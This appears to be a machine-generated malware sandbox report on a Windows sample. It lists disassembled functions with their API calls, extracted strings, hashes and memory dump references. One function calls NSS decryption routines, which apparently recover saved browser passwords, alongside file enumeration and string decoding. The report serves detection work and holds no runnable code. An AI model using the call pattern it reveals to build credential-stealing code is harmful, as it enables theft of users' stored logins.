Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 1ad3fee55fc03639c096ae4c2b662b72efaf54744440a8ea7b47a47910c61b21
Instruction ID: f1a37dcab702a5d580dc10ece335f3a8cfe083d2f99a605f30ff1fa2aabb61c1
Opcode Fuzzy Hash: 1ad3fee55fc03639c096ae4c2b662b72efaf54744440a8ea7b47a47910c61b21
Instruction Fuzzy Hash: FCF18F7181011D9FDB25EBA0DC9AFEE7B78BF94304F40419EA40A62091EF746F49CE65

Function 005BC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005BC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005BC87C
PK11_GetInternalKeySlot.NSS3 ref: 005BC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005BC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005BC8EB
lstrcat.KERNEL32(?,005D0B46), ref: 005BC943
lstrcat.KERNEL32(?,005D0B47), ref: 005BC957
PK11_FreeSlot.NSS3(?), ref: 005BC961
lstrcat.KERNEL32(?,005D0B4E), ref: 005BC978

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 6472b4d17d7f854ff79fc1fa4891ed459f7184a708b4d8c72081d69bad5f4444
Instruction ID: 14b01367a8dd4496486882da1cba17b1ab6b1c9b393d3c857ee71ae617516aff
Opcode Fuzzy Hash: 6472b4d17d7f854ff79fc1fa4891ed459f7184a708b4d8c72081d69bad5f4444
Instruction Fuzzy Hash: B741A2B490420EEFDB10CF94CC88BFEBBB8BB48304F1041A9E509A7280D7746A84CF95

Function 00981440 Relevance: 11.5, Strings: 8, Instructions: 1548COMMON

Download Yara Rule

Strings

-cju, xrefs: 009824C7
$E6}, xrefs: 00981C37
?;g5, xrefs: 009817DE
"HX, xrefs: 00981D67
qoW_, xrefs: 00982737
,%X, xrefs: 009814F3
+0b., xrefs: 00981A87
"j!M, xrefs: 00981608

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "HX$"j!M$$E6}$+0b.$,%X$-cju$?;g5$qoW_
API String ID: 0-3085750258
Opcode ID: 55c991d6bf8c55af6b2e310855c9d27f93d9404f14925eaa34f1b49b366cf376
Instruction ID: f5e09ea0d95a7cf4e0ed3d0f3eb875e8606e42222ae83aad88ce64bbca5db7ad
Opcode Fuzzy Hash: 55c991d6bf8c55af6b2e310855c9d27f93d9404f14925eaa34f1b49b366cf376
Instruction Fuzzy Hash: 14B206F3A0C6109FE304AE2DEC8567ABBE5EF94720F16493DEAC583744EA3558058793

Function 0098B572 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

;~t, xrefs: 0098B9BE
D;}o, xrefs: 0098C827
Az}, xrefs: 0098C796
?V_/, xrefs: 0098B7C6
Fm{, xrefs: 0098BE56
|0jw, xrefs: 0098C941

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;~t$?V_/$Az}$D;}o$Fm{$|0jw
API String ID: 0-397174822
Opcode ID: baa43773ea58e1e5046ada672072fe9d3cd7c03674c0de108d79fcd2cbcd68dc
Instruction ID: f4e47bb4e32481b71059406afff345e6c753952015f1a505cf295db73d3fc036
Opcode Fuzzy Hash: baa43773ea58e1e5046ada672072fe9d3cd7c03674c0de108d79fcd2cbcd68dc
Instruction Fuzzy Hash: 47B208F36082149FE304AE2DEC8567AFBE9EF94720F1A492DE6C4C3744EA7558018697

Function 0097C2BA Relevance: 9.2, Strings: 6, Instructions: 1652COMMON

Download Yara Rule

Strings

4$o, xrefs: 0097CF15
WMv, xrefs: 0097CD86
[dbz, xrefs: 0097C6C8
o!}_, xrefs: 0097C33C
=]m}, xrefs: 0097C55E
09N, xrefs: 0097D37A

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 09N$4$o$=]m}$WMv$[dbz$o!}_
API String ID: 0-2372607757
Opcode ID: 5a5cefc016f06901dc6255da9d133c184740323e87c82403cefc711166298113
Instruction ID: 6339416fd65f1b21990754c1b5a4e7acd97cd41fba9d6ed1c744b791f01d231a
Opcode Fuzzy Hash: 5a5cefc016f06901dc6255da9d133c184740323e87c82403cefc711166298113
Instruction Fuzzy Hash: 1EB207F360C2049FE3046E2DEC8567AFBE9EF94720F1A493DEAC4C7744EA3558058696

Function 0098649B Relevance: 9.1, Strings: 6, Instructions: 1593COMMON

Download Yara Rule

Strings

s^3, xrefs: 00986821
=Mx^, xrefs: 00986832
cw?}, xrefs: 009870EE
^:f^, xrefs: 009875A5
E~v, xrefs: 00986692
gw?}, xrefs: 009870F3

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =Mx^$E~v$^:f^$cw?}$gw?}$s^3
API String ID: 0-1356640040
Opcode ID: a31a940d6ec2747f5a42a77ca44018419576bf2f29ea189186486dc21d9e3345
Instruction ID: fa44ade827ae49381e4a6b61bd2ff74f75e3e0f6da02dcad5c1f930b91bb1ca6
Opcode Fuzzy Hash: a31a940d6ec2747f5a42a77ca44018419576bf2f29ea189186486dc21d9e3345
Instruction Fuzzy Hash: 09B2F6F360C2009FE304AE29EC8567AFBE5EF94720F1A892DE6C5C7744EA3558058797

Function 0097F98E Relevance: 9.1, Strings: 6, Instructions: 1554COMMON

Download Yara Rule

Strings

*h?_, xrefs: 00980933
r){, xrefs: 009808AF
!'?5, xrefs: 009809B8
fe7, xrefs: 0097FD05
*h?_, xrefs: 0098094D
9Y_, xrefs: 0098091D

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !'?5$*h?_$*h?_$9Y_$fe7$r){
API String ID: 0-3838580998
Opcode ID: f372fe3038e5a3062b31972698eee4b337692f474c7d214cb9056b68df5e785e
Instruction ID: be111f1884837e916f3bc3565b572c5706c6d703e8ae6331e7d9438b2f251249
Opcode Fuzzy Hash: f372fe3038e5a3062b31972698eee4b337692f474c7d214cb9056b68df5e785e
Instruction Fuzzy Hash: 66B2F5F35082009FE304AF29EC8567AFBE5EF94720F1A892DEAC4C7744E63598458797

Function 005B9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,005B4EEE,00000000,?), ref: 005B9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9B2A
LocalFree.KERNEL32(?,?,?,?,005B4EEE,00000000,?), ref: 005B9B3F

Strings

N[, xrefs: 005B9AD4, 005B9AE1, 005B9AF9, 005B9B18, 005B9AE4, 005B9B1B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N[
API String ID: 4291131564-1987214955
Opcode ID: 97eb5681fb920ae87702150294a172a2600aac5b7a149714659a3210792dea80
Instruction ID: 3d3f213f439832c57207d7330d50a9b77bf1b4af6e03665d9db4946161eb1807
Opcode Fuzzy Hash: 97eb5681fb920ae87702150294a172a2600aac5b7a149714659a3210792dea80
Instruction Fuzzy Hash: 6A119DB4640308BFEB10CF64DC95FAA77B5FB89700F208058FA199B390C7B6A901DB94

Function 00982E71 Relevance: 7.8, Strings: 5, Instructions: 1579COMMON

Download Yara Rule

Strings

]=wP, xrefs: 0098410A
zg;, xrefs: 00982E8D
&0}o, xrefs: 00983C92
RZ_, xrefs: 00983755
Tw=, xrefs: 00983235

Memory Dump Source

Source File: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
